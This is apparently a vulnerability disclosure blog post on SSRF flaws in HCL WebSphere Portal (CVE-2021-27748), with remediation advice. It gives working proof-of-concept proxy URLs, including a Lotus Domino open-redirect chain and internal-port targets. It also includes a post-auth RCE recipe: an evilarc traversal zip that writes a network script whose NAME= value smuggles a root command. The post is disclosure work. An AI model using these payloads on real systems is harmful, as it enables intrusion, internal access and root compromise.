Turning bad SSRF to good SSRF: Websphere Portal (CVE-2021-27748)

Dec 26, 2021
Chaining redirects to request arbitrary URLs

The advisory for this issue can be found here.

The CVE for this issue is CVE-2021-27748. The advisory from HCL technologies can be found here.

Introduction

Server side request forgery occurs when you are able to coerce a server into making requests to arbitrary resources on your behalf. SSRF vulnerabilities pose a significant risk to attack surfaces as they allow attackers to access resources on the internal network.

On cloud environments, such as AWS, this risk is amplified due to the ability to reach the AWS Metadata server, which often allows for the retrieval of temporary AWS credentials tied to the server making the request. These temporary credentials are often keys to the kingdom.

Over the last few years, we have noticed a trend in SSRF vulnerabilities where they exploit a secondary service through open URL redirects. Our observations have been reflected in source code we have audited and in the wild.

Most notably, a vulnerability was disclosed in Grafana which exploited a URL redirect in secure.gravatar.com and i0.wp.com to achieve a full read unauthenticated SSRF.

In this blog post, we will explain how we discovered a multitude of SSRF vulnerabilities in HCL Websphere, as well as how we turned a restrictive, bad SSRF to a good SSRF.

Understanding the Flow

The core concept of turning a bad SSRF to a good SSRF, relies on a few things:

  1. Analyzing the HTTP client being used and the capabilities (i.e. can it follow redirects?)
  2. Discovering a redirect gadget (i.e. an endpoint which allows you to redirect the request to an arbitrary URL)
  3. Smuggling the redirect gadget in your original SSRF payload (i.e. can your SSRF payload reach the redirection endpoint in a meaningful way?)

Click to open the diagram in a new tab.
 

What is Websphere Portal?

As per Wikipedia: “WebSphere Portal is an enterprise software used to build and manage web portals. It provides access to web content and applications, while delivering personalized experiences for users. The WebSphere Portal package is a component of WebSphere application software.”

Originally Websphere Portal was owned by IBM, however in 2019, IBM sold Websphere Portal to HCL Technologies, which continue to maintain this product til this day rebranded as HCL Digital Experience.

Websphere Portal is heavily deployed across medium-large enterprise organizations, with heavy adoption in the government and banking sector. There are approximately ~3000 instances of WebSphere Portal on the external internet at the time of writing this blog post.

Setting Up

As discussed in my presentation Code Review: The Offensive Security Way, these days a big part of the journey is simply gaining access to the source code of these enterprise products we wish to audit.

Thankfully for WebSphere Portal, it was as simple as running a Docker image, found on Docker Hub:

docker run -p 127.0.0.1:30015:30015 ibmcom/websphere-portal:latest

Once we’ve got a locally running instance of Websphere Portal, we can start digging into the files on the system and kick off our decompilation processes.

We can simply archive all the JAR files on the system by running the following command when inside a bash shell in the container:

find . -type f -name \*.jar -exec tar rf /tmp/outfile2.tar {} \;

Then we simply docker cp the tar file from the container to our local system.

Using procyon we can then decompile all of these JAR files at once, using the following command:

find . -type f -name '*.jar' | xargs -n 1 -P 20 -I {} procyon-decompiler -o decompiled2 {}
Decompiling a lot of JAR files at once


While we are investigating the file system, we perform the most critical step in our recon process, which is identifying the attack surface (routes/sources):

grep -anril '<servlet-mapping>'
grep -anril '<mapping '
So many servlets!


Now that we’ve collected all of this information for Websphere Portal, we’re now in a position to continue our journey down the rabbit hole.

Finding a “bad” SSRF

When reading through the mappings obtained in the previous step, we found something that seemed extremely naive and frankly, we couldn’t understand why it existed in the first place.

PortalServer/base/wp.proxy.config/installableApps/wp.proxy.config.ear/wp.proxy.config.war/WEB-INF/proxy-config.xml
proxy-config.xml in wp.proxy.config.ear


Yes. You are reading it right.

This mapping allows users to reach http://www.ibm.com/*, http://www-03.ibm.com/* and http://www.redbooks.ibm.com/* via the following paths:

/wps/proxy/http/www.redbooks.ibm.com
/wps/myproxy/http/www.redbooks.ibm.com
/wps/common_proxy/http/www.redbooks.ibm.com
/wps/cmis_proxy/http/www.redbooks.ibm.com

The concept of a web proxy system that was deployed by default, yet limited to a small number of “trusted” sites, did not sit well with us. Now knowing these constraints, we worked on turning this “bad” SSRF into a “good” one.

Discovering the Redirect Gadget (Lotus Domino)

We spent some time trying to find a redirect on http://www.ibm.com/* and http://www-03.ibm.com/*, however we were unsuccessful.

Instead, we shifted focus to the third item in the whitelist: http://www.redbooks.ibm.com/*.

Upon investigating this endpoint, we realized that it was running Lotus Domino to deliver content to users. As all good hackers do, we turned to ancient documentation on the operations and functionalities of Lotus Domino.

In particular, we looked for documentation that detailed the sign-on and sign-out flows, as we felt that it would be most likely that a redirection to an arbitrary URL would occur at such a stage.

Our hunch about redirection flows in Lotus Domino paid off, as we discovered the following documentation:

https://help.hcltechsw.com/dom_designer/9.0.1/appdev/H_ABOUT_URL_COMMANDS_FOR_REQUIRING_AUTHENTICATION.html
This is pretty convenient, lol 


http://www.lotus-10.com/sessions.nsf?logout&redirectto=/logoutDB.nsf/logoutApp?Open
http://www.lotus-10.com/sessions.nsf?logout&redirectto=/logoutDB.nsf/logoutApp?OpenPage
http://www.lotus-10.com/sessions.nsf?logout&redirectto=http://www.sales.com

Turns out, you can slap on ?Logout&RedirectTo=http://example.com to any Lotus Domino page to cause a URL redirection to the URL specified in the RedirectTo parameter.

Let us try this on the whitelisted endpoint: http://www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com:
Reading the documentation paid off


Putting it all together, we end up with the following payload:

http://127.0.0.1:30015/wps/proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com
We have lift off


When venturing deeper into the applications flow, we also noticed another route to /wps/proxy:

/wps/contenthandler/!ut/p/digest!8skKFbWr_TwcZcvoc9Dn3g/?uri=http://www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com

We do not suggest deploying WAF rules to protect from this vulnerability due to the nature of Websphere Portal and how servlets can be accessed in various ways.

Discovering the Variants

When taking a look at the attack surface of Websphere Portal, we realised how large it was and how many different applications were deployed by default. Naturally, it made sense for us to hunt for other locations where a proxy-like functionality would be present.

We ran the following command to find other proxy configurations: find . -type f -name "proxy-config.xml"
Discovered exploitable variants


This variant had the following configuration file:

<proxy-rules xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.ibm.com/xmlns/prod/sw/http/outbound/proxy-config/2.0">
    <mapping contextpath="/proxy" url="*" name="proxy"/>
	<policy url="*" name="bc">
      <actions>
         <method>GET</method>
         <method>HEAD</method>
         <method>POST</method>
         <method>PUT</method>
         <method>DELETE</method>
      </actions>

This SSRF had the most impact out of all of the SSRFs discovered when auditing Websphere Portal. It allows you to proxy to an arbitrary URL by default, with any of the above HTTP methods.

The following headers are also proxied:

<headers>
         <header>x-lfn-url-callback</header>
         <header>User-Agent</header>
         <header>Accept*</header>
         <header>Vary</header>
         <header>Location</header>
         <header>Content*</header>
         <header>Authorization*</header>
         <header>X-Method-Override</header>
         <header>Set-Cookie</header>
         <header>If-Modified-Since</header>
         <header>If-None-Match</header>
         <header>X-Server</header>
         <header>X-Update-Nonce</header>
         <header>X-Requested-With</header>
         <header>com.ibm.lotus.openajax.virtualhost</header>
</headers>

The full HTTP response is returned.

The PoC for this SSRF can be found below:

http://127.0.0.1:30015/wps/PA_WCM_Authoring_UI/proxy/http/example.com
http://127.0.0.1:30015/wps/PA_WCM_Authoring_UI/proxy/https/example.com
To the moon


The next variant was discovered at the following location:

WebSphere/wp_profile/installedApps/dockerCell/Quickr_Document_Picker.ear/qkr.docpicker.widgets.war/WEB-INF/web.xml
More variants?!


The common_proxy route requires an open redirect chain explained earlier in the blog post to exploit:

http://127.0.0.1:30015/docpicker/common_proxy/http/www.redbooks.ibm.com

However the internal_proxy route does not require any redirect chains, the proxy works without a redirect gadget:

http://127.0.0.1:30015/docpicker/internal_proxy/http/example.com

This allows for full read SSRF (pre-auth) limited to GET requests.
To mars?


PoCs

GET full read SSRF:

/docpicker/internal_proxy/https/example.com
/docpicker/internal_proxy/http/example.com
/docpicker/internal_proxy/https/127.0.0.1:9043/ibm/console
/docpicker/internal_proxy/http/127.0.0.1:9100/aa

Redirect chain - turning "bad" SSRF to "good" SSRF

/docpicker/common_proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com
/wps/proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com
/wps/myproxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com
/wps/common_proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com
/wps/cmis_proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com
/wps/contenthandler/!ut/p/digest!8skKFbWr_TwcZcvoc9Dn3g/?uri=http://www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com

Arbitrary HTTP method + body:

/wps/PA_WCM_Authoring_UI/proxy/http/example.com
/wps/PA_WCM_Authoring_UI/proxy/https/example.com

Failing to Find A Chain: XXE

Upon finding all of these SSRF vulnerabilities, we felt that we could prove a greater impact if we could chain the vulnerability by exploiting local resources that run alongside Websphere Portal.

Digging through the vast attack surface for hours, we thought we had found an ideal candidate that should have allowed for XXE.

IBM Knowledge Centre is shipped in the Admin Console of IBM Websphere on port 9043. Through our SSRF we can access this port and hence this functionality.

The web.xml file for IBM KC had the following:

    <filter>
		<filter-name>JsonpCallbackFilter</filter-name>
		<filter-class>com.ibm.kc.server.filter.JsonpCallbackFilter</filter-class>
	</filter>
	<filter-mapping>
        <filter-name>JsonpCallbackFilter</filter-name>
        <url-pattern>/api/webfeed</url-pattern>
    </filter-mapping>

As a result, we downloaded the kc.war file to our local system and started reverse engineering it:

docker cp 7b10e70c3328:/opt/IBM/WebSphere/wp_profile/config/cells/dockerCell/applications/isclite.ear/deployments/isclite/kc.war .

In our decompiler we located the code for /webfeed:
kc.war decompiled


Tracing the flow of this route, we found the following code that handled reading XML:
Bingo?!


We were stoked to have found an exploit chain that allowed for XXE, however when attempting it on a live target, we noticed the following behaviour:
Has it been patched? Please don’t tell us it’s been patched.


When auditing vendor software and relying on sparse images available on Docker Hub, we realised that we may be auditing an out of date version of Websphere Portal.

We went searching for a newer version of this software and found a more recent Docker Image with only WebSphere app server (not portal): https://hub.docker.com/r/ibmcom/websphere-traditional/

It included the knowledge center, so we attempted our exploit on this newer version which resulted in the following:
Looks like it’s patched in newer versions


We pulled down the kc.war file and decompiled it. We found that the route/functionality had been deprecated:
All good things come to an end


While we weren’t successful at finding an exploit chain on the latest version of Websphere Portal, we wanted to share the valuable lesson of always having the latest copy of source code available to avoid situations like the one we found ourselves in.

This is sometimes not possible for vendor software, where you can barely get a copy of the source code, let alone the latest version.

Nonetheless, this exploit chain is still valid on older versions of Websphere Portal, however we have not been successful at exploiting it in the wild.

Bonus: Post auth RCE via Zip Based Directory Traversal

While we’re on the topic of hacking Websphere Portal, we wanted to share a post-authentication RCE vector.

There is a functionality to upload script applications to WebSphere Portal once you are authenticated. This allows you to upload a Zip file which should contain HTML/CSS/JS.

The extraction of this Zip file is vulnerable to directory traversal. This leads to arbitrary file upload anywhere on the system.

The steps to reach this functionality can be found below:

Login to WebSphere Portal -> Site Manager -> Add page components and applications -> Applications -> Script Application

Click Actions -> Import
Importing a Script Application


At this stage, you will need to prepare your Zip exploit using Evilarc: https://github.com/ptoomey3/evilarc

Create a file lo-1.html with the following contents. This will lead to RCE on reboot:

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

Run the following command:

python2 evilarc.py lo-1.html -o unix -f index6.zip -p etc/sysconfig/network-scripts/ -d 20

Creating index6.zip containing ../../../../../../../../../../../../../../../../../../../../etc/sysconfig/network-scripts/lo-1.html

For context around why this attack vector is possible, you can read more about it here.

If, for whatever reason, a user is able to write an ifcfg-<whatever> script to /etc/sysconfig/network-scripts or it can adjust an existing one, then RCE is possible.

Network scripts, ifcfg-eth0 for example are used for network connections. The look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d).

In our case, the NAME= attributed in these network scripts is not handled correctly. If you have white/blank space in the name the system tries to execute the part after the white/blank space. Which means; everything after the first blank space is executed as root.

Vendor Response

We attempted to disclose these issues to the current owner of Websphere Portal - HCL Technologies.

We reported all of the issues in this blog post on Sept 5th, 2021, with a 90 day policy for disclosure.

The timeline for this disclosure process can be found below:

  • Sept 5th, 2021: Disclosure of SSRFs and Post Auth RCE (6 reports)
  • Sept 7th, 2021: Initial response from HCL Technologies stating that the reports have been submitted to product teams
  • Oct 5th, 2021: Sent a reminder that 30 days have lapsed and 60 days remain as per our responsible disclosure policy
  • Oct 5th, 2021: Response stating that they will follow up with the team analyzing the vulnerabilities
  • Nov 8th, 2021: Sent a reminder that 60 days have lapsed and 30 days remain as per our responsible disclosure policy
  • Nov 8th, 2021: Response stating that they could not reproduce any of our findings, reminding us that we cannot claim CVEs for any of these issues as they are a CNA
  • Nov 8th, 2021: Sent a request for CVEs to HCL Technologies for the issues identified - received no response
  • Nov 20th, 2021: Sent another request for CVEs to HCL Technologies and reminded them that we will be publishing after the 90 day deadline (Dec 5th)
  • Nov 23rd, 2021: Response stating that CVEs wont be filed until remediation steps are available
  • Nov 23rd, 2021: Sent a reminder that we will be publishing after 90 day deadline, without CVEs available
  • Nov 23rd, 2021: Response stating that if we publish any information about these vulnerabilities, HCL technologies will cite you as in irresponsible vulnerability disclosure party to the communities that we post to
  • Nov 23rd, 2021: Sent a reminder that we are following our 90 day disclosure policy as stated upon initial report
  • Dec 3rd, 2021: Asked if there was any progress on this vulnerability. Sent a reminder that 90 day deadline ends on Dec 5th

No response since Nov 23rd.

Remediation Advice

We suggest that you modify all of the proxy-config.xml files in your Websphere Portal installation so that no origins are whitelisted.

Additionally, if the functionality is not necessary for your installation of Websphere Portal, remove the following folders:

PortalServer/base/wp.proxy.config/installableApps/wp.proxy.config.ear
WebSphere/wp_profile/installedApps/dockerCell/Quickr_Document_Picker.ear
WebSphere/wp_profile/config/cells/dockerCell/applications/PA_WCM_Authoring_UI.ear

Do not rely on WAF rules to prevent exploitation of this issue. There are a number of ways to reach these endpoints that WAF rules may not sufficiently cover.

Conclusion

Vendor software is often deployed on attack surfaces to achieve critical business needs and goals. In this day and age, in almost every attack surface we assess, we find vendor software such as Websphere Portal being used by enterprises.

Websphere Portal has been around since 2001 and it’s used by a large number of enterprises to this day. Even though this blog post details some critical flaws in this product, the attack surface is vast and diverse, there are many more vulnerabilities yet to be found.

If security due dilligence is not performed on deployed vendor software, it can inadvertently expose your attack surface to exploitation.

At Assetnote, our security research team has been focusing on reverse engineering vendor software and discovering these critical vulnerabilities before they are exploited by malicious actors. As a part of our Attack Surface Management Platform, we scan for these vulnerabilities as soon as our team discover them.